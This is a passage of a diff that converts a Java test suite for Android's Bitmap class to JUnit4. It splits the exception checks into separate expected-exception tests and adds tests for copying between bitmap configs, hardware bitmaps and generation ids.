-        // abnormal case: out stream is null
-        try{
-            mBitmap.compress(CompressFormat.JPEG, 0, null);
-            fail("shouldn't come to here");
-        }catch(NullPointerException e){
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testCompressQualityTooHigh() {
+        mBitmap.compress(CompressFormat.JPEG, 101, new ByteArrayOutputStream());
+    }
 
-        // abnormal case: quality less than 0
-        try{
-            mBitmap.compress(CompressFormat.JPEG, -1, new ByteArrayOutputStream());
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
-
-        // abnormal case: quality bigger than 100
-        try{
-            mBitmap.compress(CompressFormat.JPEG, 101, new ByteArrayOutputStream());
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
-
-        //normal case
+    @Test
+    public void testCompress() {
         assertTrue(mBitmap.compress(CompressFormat.JPEG, 50, new ByteArrayOutputStream()));
     }
 
-    public void testCopy(){
+    @Test(expected=IllegalStateException.class)
+    public void testCopyRecycled() {
         mBitmap.recycle();
+        mBitmap.copy(Config.RGB_565, false);
+    }
 
-        //abnormal case: the bitmap has been recycled
-        try{
-            mBitmap.copy(Config.RGB_565, false);
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-            // expected
-        }
-
+    @Test
+    public void testCopy() {
         mBitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
         Bitmap bitmap = mBitmap.copy(Config.ARGB_8888, false);
         WidgetTestUtils.assertEquals(mBitmap, bitmap);
     }
 
-    public void testCopyPixelsToBuffer(){
+    @Test
+    public void testCopyConfigs() {
+        Config[] supportedConfigs = new Config[] {
+                Config.ALPHA_8, Config.RGB_565, Config.ARGB_8888, Config.RGBA_F16,
+        };
+        for (Config src : supportedConfigs) {
+            for (Config dst : supportedConfigs) {
+                Bitmap srcBitmap = Bitmap.createBitmap(1, 1, src);
+                srcBitmap.eraseColor(Color.WHITE);
+                Bitmap dstBitmap = srcBitmap.copy(dst, false);
+                assertNotNull("Should support copying from " + src + " to " + dst,
+                        dstBitmap);
+                if (Config.ALPHA_8 == dst || Config.ALPHA_8 == src) {
+                    // Color will be opaque but color information will be lost.
+                    assertEquals("Color should be black when copying from " + src + " to "
+                            + dst, Color.BLACK, dstBitmap.getPixel(0, 0));
+                } else {
+                    assertEquals("Color should be preserved when copying from " + src + " to "
+                            + dst, Color.WHITE, dstBitmap.getPixel(0, 0));
+                }
+            }
+        }
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testCopyMutableHwBitmap() {
+        mBitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        mBitmap.copy(Config.HARDWARE, true);
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testCopyPixelsToBufferUnsupportedBufferClass() {
+        final int pixSize = mBitmap.getRowBytes() * mBitmap.getHeight();
+
+        mBitmap.copyPixelsToBuffer(CharBuffer.allocate(pixSize));
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testCopyPixelsToBufferBufferTooSmall() {
         final int pixSize = mBitmap.getRowBytes() * mBitmap.getHeight();
         final int tooSmall = pixSize / 2;
 
-        // abnormal case: unsupported Buffer subclass
-        try{
-            mBitmap.copyPixelsToBuffer(CharBuffer.allocate(pixSize));
-            fail("shouldn't come to here");
-        }catch(RuntimeException e1){
-        }
+        mBitmap.copyPixelsToBuffer(ByteBuffer.allocate(tooSmall));
+    }
 
-        // abnormal case: Buffer not large enough for pixels
-        try{
-            mBitmap.copyPixelsToBuffer(ByteBuffer.allocate(tooSmall));
-            fail("shouldn't come to here");
-        }catch(RuntimeException e2){
-        }
+    @Test
+    public void testCopyPixelsToBuffer() {
+        final int pixSize = mBitmap.getRowBytes() * mBitmap.getHeight();
 
-        // normal case
         ByteBuffer byteBuf = ByteBuffer.allocate(pixSize);
         assertEquals(0, byteBuf.position());
         mBitmap.copyPixelsToBuffer(byteBuf);
         assertEquals(pixSize, byteBuf.position());
 
-        // abnormal case: Buffer not large enough for pixels
-        try{
-            mBitmap.copyPixelsToBuffer(ByteBuffer.allocate(tooSmall));
-            fail("shouldn't come to here");
-        }catch(RuntimeException e3){
-        }
-
-        // normal case
         ShortBuffer shortBuf = ShortBuffer.allocate(pixSize);
         assertEquals(0, shortBuf.position());
         mBitmap.copyPixelsToBuffer(shortBuf);
         assertEquals(pixSize >> 1, shortBuf.position());
 
-        // abnormal case: Buffer not large enough for pixels
-        try{
-            mBitmap.copyPixelsToBuffer(ByteBuffer.allocate(tooSmall));
-            fail("shouldn't come to here");
-        }catch(RuntimeException e4){
-        }
-
-        // normal case
         IntBuffer intBuf1 = IntBuffer.allocate(pixSize);
         assertEquals(0, intBuf1.position());
         mBitmap.copyPixelsToBuffer(intBuf1);
@@ -178,7 +198,8 @@
         }
     }
 
-    public void testCreateBitmap1(){
+    @Test
+    public void testCreateBitmap1() {
         int[] colors = createColors(100);
         Bitmap bitmap = Bitmap.createBitmap(colors, 10, 10, Config.RGB_565);
         Bitmap ret = Bitmap.createBitmap(bitmap);
@@ -188,14 +209,13 @@
         assertEquals(Config.RGB_565, ret.getConfig());
     }
 
-    public void testCreateBitmap2(){
-        //abnormal case: Illegal Argument
-        try{
-            Bitmap.createBitmap(mBitmap, -100, 50, 50, 200);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testCreateBitmapNegativeX() {
+        Bitmap.createBitmap(mBitmap, -100, 50, 50, 200);
+    }
 
+    @Test
+    public void testCreateBitmap2() {
         // special case: output bitmap is equal to the input bitmap
         mBitmap = Bitmap.createBitmap(new int[100 * 100], 100, 100, Config.ARGB_8888);
         Bitmap ret = Bitmap.createBitmap(mBitmap, 0, 0, 100, 100);
@@ -209,37 +229,45 @@
         assertFalse(mBitmap.equals(ret));
     }
 
-    public void testCreateBitmap3(){
+    @Test(expected=IllegalArgumentException.class)
+    public void testCreateBitmapNegativeXY() {
         mBitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
 
-        //abnormal case: x and/or y less than 0
-        try{
-            Bitmap.createBitmap(mBitmap, -1, -1, 10, 10, null, false);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+        // abnormal case: x and/or y less than 0
+        Bitmap.createBitmap(mBitmap, -1, -1, 10, 10, null, false);
+    }
 
-        //abnormal case: width and/or height less than 0
-        try{
-            Bitmap.createBitmap(mBitmap, 1, 1, -10, -10, null, false);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testCreateBitmapNegativeWidthHeight() {
+        mBitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
 
-        //abnormal case: (x + width) bigger than source bitmap's width
-        try{
-            Bitmap.createBitmap(mBitmap, 10, 10, 95, 50, null, false);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+        // abnormal case: width and/or height less than 0
+        Bitmap.createBitmap(mBitmap, 1, 1, -10, -10, null, false);
+    }
 
-        //abnormal case: (y + height) bigger than source bitmap's height
-        try{
-            Bitmap.createBitmap(mBitmap, 10, 10, 50, 95, null, false);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testCreateBitmapXRegionTooWide() {
+        mBitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
 
+        // abnormal case: (x + width) bigger than source bitmap's width
+        Bitmap.createBitmap(mBitmap, 10, 10, 95, 50, null, false);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testCreateBitmapYRegionTooTall() {
+        mBitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+
+        // abnormal case: (y + height) bigger than source bitmap's height
+        Bitmap.createBitmap(mBitmap, 10, 10, 50, 95, null, false);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testCreateMutableBitmapWithHardwareConfig() {
+        Bitmap.createBitmap(100, 100, Config.HARDWARE);
+    }
+
+    @Test
+    public void testCreateBitmap3() {
         // special case: output bitmap is equal to the input bitmap
         mBitmap = Bitmap.createBitmap(new int[100 * 100], 100, 100, Config.ARGB_8888);
         Bitmap ret = Bitmap.createBitmap(mBitmap, 0, 0, 100, 100, null, false);
@@ -253,7 +281,8 @@
         assertFalse(mBitmap.equals(ret));
     }
 
-    public void testCreateBitmap4(){
+    @Test
+    public void testCreateBitmap4() {
         Bitmap ret = Bitmap.createBitmap(100, 200, Config.RGB_565);
         assertNotNull(ret);
         assertEquals(100, ret.getWidth());
@@ -261,43 +290,86 @@
         assertEquals(Config.RGB_565, ret.getConfig());
     }
 
-    public void testCreateBitmap6(){
+    private static void verify2x2BitmapContents(int[] expected, Bitmap observed) {
+        ColorUtils.verifyColor(expected[0], observed.getPixel(0, 0));
+        ColorUtils.verifyColor(expected[1], observed.getPixel(1, 0));
+        ColorUtils.verifyColor(expected[2], observed.getPixel(0, 1));
+        ColorUtils.verifyColor(expected[3], observed.getPixel(1, 1));
+    }
+
+    @Test
+    public void testCreateBitmap_matrix() {
+        int[] colorArray = new int[] { Color.RED, Color.GREEN, Color.BLUE, Color.BLACK };
+        Bitmap src = Bitmap.createBitmap(2, 2, Config.ARGB_8888);
+        src.setPixels(colorArray,0, 2, 0, 0, 2, 2);
+
+        // baseline
+        verify2x2BitmapContents(colorArray, src);
+
+        // null
+        Bitmap dst = Bitmap.createBitmap(src, 0, 0, 2, 2, null, false);
+        verify2x2BitmapContents(colorArray, dst);
+
+        // identity matrix
+        Matrix matrix = new Matrix();
+        dst = Bitmap.createBitmap(src, 0, 0, 2, 2, matrix, false);
+        verify2x2BitmapContents(colorArray, dst);
+
+        // big scale - only red visible
+        matrix.setScale(10, 10);
+        dst = Bitmap.createBitmap(src, 0, 0, 2, 2, matrix, false);
+        verify2x2BitmapContents(new int[] { Color.RED, Color.RED, Color.RED, Color.RED }, dst);
+
+        // rotation
+        matrix.setRotate(90);
+        dst = Bitmap.createBitmap(src, 0, 0, 2, 2, matrix, false);
+        verify2x2BitmapContents(
+                new int[] { Color.BLUE, Color.RED, Color.BLACK, Color.GREEN }, dst);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testCreateBitmapFromColorsNegativeWidthHeight() {
         int[] colors = createColors(100);
 
-        //abnormal case: width and/or height less than 0
-        try{
-            Bitmap.createBitmap(colors, 0, 100, -1, 100, Config.RGB_565);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+        // abnormal case: width and/or height less than 0
+        Bitmap.createBitmap(colors, 0, 100, -1, 100, Config.RGB_565);
+    }
 
-        //abnormal case: stride less than width and bigger than -width
-        try{
-            Bitmap.createBitmap(colors, 10, 10, 100, 100, Config.RGB_565);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testCreateBitmapFromColorsIllegalStride() {
+        int[] colors = createColors(100);
 
-        //abnormal case: offset less than 0
-        try{
-            Bitmap.createBitmap(colors, -10, 100, 100, 100, Config.RGB_565);
-            fail("shouldn't come to here");
-        }catch(ArrayIndexOutOfBoundsException e){
-        }
+        // abnormal case: stride less than width and bigger than -width
+        Bitmap.createBitmap(colors, 10, 10, 100, 100, Config.RGB_565);
+    }
 
-        //abnormal case: (offset + width) bigger than colors' length
-        try{
-            Bitmap.createBitmap(colors, 10, 100, 100, 100, Config.RGB_565);
-            fail("shouldn't come to here");
-        }catch(ArrayIndexOutOfBoundsException e){
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testCreateBitmapFromColorsNegativeOffset() {
+        int[] colors = createColors(100);
 
-        //abnormal case: (lastScanline + width) bigger than colors' length
-        try{
-            Bitmap.createBitmap(colors, 10, 100, 50, 100, Config.RGB_565);
-            fail("shouldn't come to here");
-        }catch(ArrayIndexOutOfBoundsException e){
-        }
+        // abnormal case: offset less than 0
+        Bitmap.createBitmap(colors, -10, 100, 100, 100, Config.RGB_565);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testCreateBitmapFromColorsOffsetTooLarge() {
+        int[] colors = createColors(100);
+
+        // abnormal case: (offset + width) bigger than colors' length
+        Bitmap.createBitmap(colors, 10, 100, 100, 100, Config.RGB_565);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testCreateBitmapFromColorsScalnlineTooLarge() {
+        int[] colors = createColors(100);
+
+        // abnormal case: (lastScanline + width) bigger than colors' length
+        Bitmap.createBitmap(colors, 10, 100, 50, 100, Config.RGB_565);
+    }
+
+    @Test
+    public void testCreateBitmap6() {
+        int[] colors = createColors(100);
 
         // normal case
         Bitmap ret = Bitmap.createBitmap(colors, 5, 10, 10, 5, Config.RGB_565);
@@ -307,7 +379,53 @@
         assertEquals(Config.RGB_565, ret.getConfig());
     }
 
-    public void testCreateScaledBitmap(){
+    @Test
+    public void testCreateBitmap_displayMetrics_mutable() {
+        DisplayMetrics metrics =
+                InstrumentationRegistry.getTargetContext().getResources().getDisplayMetrics();
+
+        Bitmap bitmap;
+        bitmap = Bitmap.createBitmap(metrics, 10, 10, Config.ARGB_8888);
+        assertTrue(bitmap.isMutable());
+        assertEquals(metrics.densityDpi, bitmap.getDensity());
+
+        bitmap = Bitmap.createBitmap(metrics, 10, 10, Config.ARGB_8888);
+        assertTrue(bitmap.isMutable());
+        assertEquals(metrics.densityDpi, bitmap.getDensity());
+
+        bitmap = Bitmap.createBitmap(metrics, 10, 10, Config.ARGB_8888, true);
+        assertTrue(bitmap.isMutable());
+        assertEquals(metrics.densityDpi, bitmap.getDensity());
+
+        bitmap = Bitmap.createBitmap(metrics, 10, 10, Config.ARGB_8888, true, ColorSpace.get(
+                ColorSpace.Named.SRGB));
+
+        assertTrue(bitmap.isMutable());
+        assertEquals(metrics.densityDpi, bitmap.getDensity());
+
+        int[] colors = createColors(100);
+        assertNotNull(Bitmap.createBitmap(metrics, colors, 0, 10, 10, 10, Config.ARGB_8888));
+        assertNotNull(Bitmap.createBitmap(metrics, colors, 10, 10, Config.ARGB_8888));
+    }
+
+    @Test
+    public void testCreateBitmap_displayMetrics_immutable() {
+        DisplayMetrics metrics =
+                InstrumentationRegistry.getTargetContext().getResources().getDisplayMetrics();
+        int[] colors = createColors(100);
+
+        Bitmap bitmap;
+        bitmap = Bitmap.createBitmap(metrics, colors, 0, 10, 10, 10, Config.ARGB_8888);
+        assertFalse(bitmap.isMutable());
+        assertEquals(metrics.densityDpi, bitmap.getDensity());
+
+        bitmap = Bitmap.createBitmap(metrics, colors, 10, 10, Config.ARGB_8888);
+        assertFalse(bitmap.isMutable());
+        assertEquals(metrics.densityDpi, bitmap.getDensity());
+    }
+
+    @Test
+    public void testCreateScaledBitmap() {
         mBitmap = Bitmap.createBitmap(100, 200, Config.RGB_565);
         Bitmap ret = Bitmap.createScaledBitmap(mBitmap, 50, 100, false);
         assertNotNull(ret);
@@ -315,29 +433,49 @@
         assertEquals(100, ret.getHeight());
     }
 
-    public void testDescribeContents(){
+    @Test
+    public void testGenerationId() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        int genId = bitmap.getGenerationId();
+        assertEquals("not expected to change", genId, bitmap.getGenerationId());
+        bitmap.setDensity(bitmap.getDensity() + 4);
+        assertEquals("not expected to change", genId, bitmap.getGenerationId());
+        bitmap.getPixel(0, 0);
+        assertEquals("not expected to change", genId, bitmap.getGenerationId());
+
+        int beforeGenId = bitmap.getGenerationId();
+        bitmap.eraseColor(Color.WHITE);
+        int afterGenId = bitmap.getGenerationId();
+        assertTrue("expected to increase", afterGenId > beforeGenId);
+
+        beforeGenId = bitmap.getGenerationId();
+        bitmap.setPixel(4, 4, Color.BLUE);
+        afterGenId = bitmap.getGenerationId();
+        assertTrue("expected to increase again", afterGenId > beforeGenId);
+    }
+
+    @Test
+    public void testDescribeContents() {
         assertEquals(0, mBitmap.describeContents());
     }
 
-    public void testEraseColor(){
+    @Test(expected=IllegalStateException.class)
+    public void testEraseColorOnRecycled() {
         mBitmap.recycle();
 
-        //abnormal case: the bitmap has been recycled
-        try{
-            mBitmap.eraseColor(0);
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
+        mBitmap.eraseColor(0);
+    }
 
+    @Test(expected=IllegalStateException.class)
+    public void testEraseColorOnImmutable() {
         mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
 
         //abnormal case: bitmap is immutable
-        try{
-            mBitmap.eraseColor(0);
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
+        mBitmap.eraseColor(0);
+    }
 
+    @Test
+    public void testEraseColor() {
         // normal case
         mBitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
         mBitmap.eraseColor(0xffff0000);
@@ -345,16 +483,15 @@
         assertEquals(0xffff0000, mBitmap.getPixel(50, 50));
     }
 
-    public void testExtractAlpha1(){
+    @Test(expected=IllegalStateException.class)
+    public void testExtractAlphaFromRecycled() {
         mBitmap.recycle();
 
-        //abnormal case: the bitmap has been recycled
-        try{
-            mBitmap.extractAlpha();
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
+        mBitmap.extractAlpha();
+    }
 
+    @Test
+    public void testExtractAlpha() {
         // normal case
         mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
         Bitmap ret = mBitmap.extractAlpha();
@@ -365,16 +502,15 @@
         assertEquals(0xFF, Color.alpha(result));
     }
 
-    public void testExtractAlpha2(){
+    @Test(expected=IllegalStateException.class)
+    public void testExtractAlphaWithPaintAndOffsetFromRecycled() {
         mBitmap.recycle();
 
-        //abnormal case: the bitmap has been recycled
-        try{
-            mBitmap.extractAlpha(new Paint(), new int[]{0, 1});
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
+        mBitmap.extractAlpha(new Paint(), new int[]{0, 1});
+    }
 
+    @Test
+    public void testExtractAlphaWithPaintAndOffset() {
         // normal case
         mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
         Bitmap ret = mBitmap.extractAlpha(new Paint(), new int[]{0, 1});
@@ -385,6 +521,7 @@
         assertEquals(0xFF, Color.alpha(result));
     }
 
+    @Test
     public void testGetAllocationByteCount() {
         mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.ALPHA_8);
         int alloc = mBitmap.getAllocationByteCount();
@@ -401,7 +538,8 @@
         assertEquals(mBitmap.getAllocationByteCount(), alloc);
     }
 
-    public void testGetConfig(){
+    @Test
+    public void testGetConfig() {
         Bitmap bm0 = Bitmap.createBitmap(100, 200, Bitmap.Config.ALPHA_8);
         Bitmap bm1 = Bitmap.createBitmap(100, 200, Bitmap.Config.ARGB_8888);
         Bitmap bm2 = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
@@ -412,43 +550,53 @@
         assertEquals(Bitmap.Config.RGB_565, bm2.getConfig());
         // Attempting to create a 4444 bitmap actually creates an 8888 bitmap.
         assertEquals(Bitmap.Config.ARGB_8888, bm3.getConfig());
+
+        // Can't call Bitmap.createBitmap with Bitmap.Config.HARDWARE,
+        // because createBitmap creates mutable bitmap and hardware bitmaps are always immutable,
+        // so such call will throw an exception.
+        Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
+                HARDWARE_OPTIONS);
+        assertEquals(Bitmap.Config.HARDWARE, hardwareBitmap.getConfig());
     }
 
-    public void testGetHeight(){
+    @Test
+    public void testGetHeight() {
         assertEquals(31, mBitmap.getHeight());
         mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.ARGB_8888);
         assertEquals(200, mBitmap.getHeight());
     }
 
-    public void testGetNinePatchChunk(){
+    @Test
+    public void testGetNinePatchChunk() {
         assertNull(mBitmap.getNinePatchChunk());
     }
 
-    public void testGetPixel(){
+    @Test(expected=IllegalStateException.class)
+    public void testGetPixelFromRecycled() {
         mBitmap.recycle();
 
-        //abnormal case: the bitmap has been recycled
-        try{
-            mBitmap.getPixel(10, 16);
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
+        mBitmap.getPixel(10, 16);
+    }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetPixelXTooLarge() {
         mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
 
-        //abnormal case: x bigger than the source bitmap's width
-        try{
-            mBitmap.getPixel(200, 16);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+        // abnormal case: x bigger than the source bitmap's width
+        mBitmap.getPixel(200, 16);
+    }
 
-        //abnormal case: y bigger than the source bitmap's height
-        try{
-            mBitmap.getPixel(10, 300);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetPixelYTooLarge() {
+        mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
+
+        // abnormal case: y bigger than the source bitmap's height
+        mBitmap.getPixel(10, 300);
+    }
+
+    @Test
+    public void testGetPixel() {
+        mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
 
         // normal case 565
         mBitmap.setPixel(10, 16, 0xFF << 24);
@@ -457,18 +605,17 @@
         // normal case A_8
         mBitmap = Bitmap.createBitmap(10, 10, Config.ALPHA_8);
         mBitmap.setPixel(5, 5, 0xFFFFFFFF);
-        assertEquals(0xFFFFFFFF, mBitmap.getPixel(5, 5));
+        assertEquals(0xFF000000, mBitmap.getPixel(5, 5));
         mBitmap.setPixel(5, 5, 0xA8A8A8A8);
-        assertEquals(0xA8A8A8A8, mBitmap.getPixel(5, 5));
+        assertEquals(0xA8000000, mBitmap.getPixel(5, 5));
         mBitmap.setPixel(5, 5, 0x00000000);
         assertEquals(0x00000000, mBitmap.getPixel(5, 5));
-
-        // test reconstructing color channels
         mBitmap.setPixel(5, 5, 0x1F000000);
-        assertEquals(0x1F1F1F1F, mBitmap.getPixel(5, 5));
+        assertEquals(0x1F000000, mBitmap.getPixel(5, 5));
     }
 
-    public void testGetRowBytes(){
+    @Test
+    public void testGetRowBytes() {
         Bitmap bm0 = Bitmap.createBitmap(100, 200, Bitmap.Config.ALPHA_8);
         Bitmap bm1 = Bitmap.createBitmap(100, 200, Bitmap.Config.ARGB_8888);
         Bitmap bm2 = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
@@ -481,30 +628,35 @@
         assertEquals(400, bm3.getRowBytes());
     }
 
-    public void testGetWidth(){
+    @Test
+    public void testGetWidth() {
         assertEquals(31, mBitmap.getWidth());
         mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.ARGB_8888);
         assertEquals(100, mBitmap.getWidth());
     }
 
-    public void testHasAlpha(){
+    @Test
+    public void testHasAlpha() {
         assertFalse(mBitmap.hasAlpha());
         mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.ARGB_8888);
         assertTrue(mBitmap.hasAlpha());
     }
 
-    public void testIsMutable(){
+    @Test
+    public void testIsMutable() {
         assertFalse(mBitmap.isMutable());
         mBitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
         assertTrue(mBitmap.isMutable());
     }
 
-    public void testIsRecycled(){
+    @Test
+    public void testIsRecycled() {
         assertFalse(mBitmap.isRecycled());
         mBitmap.recycle();
         assertTrue(mBitmap.isRecycled());
     }
 
+    @Test
     public void testReconfigure() {
         mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
         int alloc = mBitmap.getAllocationByteCount();
@@ -513,21 +665,18 @@
         mBitmap.reconfigure(50, 100, Bitmap.Config.ALPHA_8);
         assertEquals(mBitmap.getAllocationByteCount(), alloc);
         assertEquals(mBitmap.getByteCount() * 8, alloc);
+    }
 
-        // test expanding
-        try {
-            mBitmap.reconfigure(101, 201, Bitmap.Config.ARGB_8888);
-            fail("shouldn't come to here");
-        } catch (IllegalArgumentException e) {
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testReconfigureExpanding() {
+        mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
+        mBitmap.reconfigure(101, 201, Bitmap.Config.ARGB_8888);
+    }
 
-        // test mutable
+    @Test(expected=IllegalStateException.class)
+    public void testReconfigureMutable() {
         mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
-        try {
-            mBitmap.reconfigure(1, 1, Bitmap.Config.ALPHA_8);
-            fail("shouldn't come to here");
-        } catch (IllegalStateException e) {
-        }
+        mBitmap.reconfigure(1, 1, Bitmap.Config.ALPHA_8);
     }
 
     // Used by testAlphaAndPremul. FIXME: Should we also test Index8? That would require decoding a
@@ -538,6 +687,7 @@
 
     // test that reconfigure, setHasAlpha, and setPremultiplied behave as expected with
     // respect to alpha and premultiplied.
+    @Test
     public void testAlphaAndPremul() {
         boolean falseTrue[] = new boolean[] { false, true };
         for (Config fromConfig : CONFIGS) {
@@ -557,7 +707,7 @@
                         bitmap.setHasAlpha(hasAlpha);
                         bitmap.setPremultiplied(isPremul);
 
-                        checkAlphaAndPremul(bitmap, hasAlpha, isPremul, false);
+                        verifyAlphaAndPremul(bitmap, hasAlpha, isPremul, false);
 
                         // reconfigure to a smaller size so the function will still succeed when
                         // going to a Config that requires more bits.
@@ -570,7 +720,7 @@
 
                         // Check that the alpha and premultiplied state has not changed (unless
                         // we expected it to).
-                        checkAlphaAndPremul(bitmap, hasAlpha, isPremul, fromConfig == Config.RGB_565);
+                        verifyAlphaAndPremul(bitmap, hasAlpha, isPremul, fromConfig == Config.RGB_565);
                     }
                 }
             }
@@ -590,7 +740,7 @@
      *          reconfigured from RGB_565. If true, and bitmap is now a Config that supports alpha,
      *          hasAlpha() is expected to be true even if expectedAlpha is false.
      */
-    private void checkAlphaAndPremul(Bitmap bitmap, boolean expectedAlpha, boolean expectedPremul,
+    private void verifyAlphaAndPremul(Bitmap bitmap, boolean expectedAlpha, boolean expectedPremul,
             boolean convertedFrom565) {
         switch (bitmap.getConfig()) {
             case ARGB_4444:
@@ -626,6 +776,7 @@
         }
     }
 
+    @Test
     public void testSetConfig() {
         mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
         int alloc = mBitmap.getAllocationByteCount();
@@ -634,23 +785,23 @@
         mBitmap.setConfig(Bitmap.Config.ALPHA_8);
         assertEquals(mBitmap.getAllocationByteCount(), alloc);
         assertEquals(mBitmap.getByteCount() * 2, alloc);
-
-        // test expanding
-        try {
-            mBitmap.setConfig(Bitmap.Config.ARGB_8888);
-            fail("shouldn't come to here");
-        } catch (IllegalArgumentException e) {
-        }
-
-        // test mutable
-        mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
-        try {
-            mBitmap.setConfig(Bitmap.Config.ALPHA_8);
-            fail("shouldn't come to here");
-        } catch (IllegalStateException e) {
-        }
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetConfigExpanding() {
+        mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
+        // test expanding
+        mBitmap.setConfig(Bitmap.Config.ARGB_8888);
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testSetConfigMutable() {
+        // test mutable
+        mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
+        mBitmap.setConfig(Bitmap.Config.ALPHA_8);
+    }
+
+    @Test
     public void testSetHeight() {
         mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.ARGB_8888);
         int alloc = mBitmap.getAllocationByteCount();
@@ -659,153 +810,167 @@
         mBitmap.setHeight(100);
         assertEquals(mBitmap.getAllocationByteCount(), alloc);
         assertEquals(mBitmap.getByteCount() * 2, alloc);
-
-        // test expanding
-        try {
-            mBitmap.setHeight(201);
-            fail("shouldn't come to here");
-        } catch (IllegalArgumentException e) {
-        }
-
-        // test mutable
-        mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
-        try {
-            mBitmap.setHeight(1);
-            fail("shouldn't come to here");
-        } catch (IllegalStateException e) {
-        }
     }
 
-    public void testSetPixel(){
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetHeightExpanding() {
+        // test expanding
+        mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.ARGB_8888);
+        mBitmap.setHeight(201);
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testSetHeightMutable() {
+        // test mutable
+        mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
+        mBitmap.setHeight(1);
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testSetPixelOnRecycled() {
         int color = 0xff << 24;
 
         mBitmap.recycle();
-
-        //abnormal case: the bitmap has been recycled
-        try{
-            mBitmap.setPixel(10, 16, color);
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
-
-        mBitmap = BitmapFactory.decodeResource(mRes, R.drawable.start, mOptions);
-
-        //abnormal case: the bitmap is immutable
-        try{
-            mBitmap.setPixel(10, 16, color);
-            fail("shouldn't come to here");
-        }catch(IllegalStateException e){
-        }
-
-        mBitmap = Bitmap.createBitmap(100, 200, Bitmap.Config.RGB_565);
-
-        //abnormal case: x bigger than the source bitmap's width
-        try{
-            mBitmap.setPixel(200, 16, color);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
-
-        //abnormal case: y bigger than the source bitmap's height
-        try{
-            mBitmap.setPixel(10, 300, color);
-            fail("shouldn't come to here");
-        }catch(IllegalArgumentException e){
-        }
-
-        // normal case
-        mBitmap.setPixel(10, 16, 0xFF << 24);
-        assertEquals(0xFF << 24, mBitmap.getPixel(10, 16));
+        mBitmap.setPixel(10, 16, color);
     }
 
-    public void testSetPixels(){
-        int[] colors = createColors(100);
-
-        //abnormal case: the bitmap has been recycled
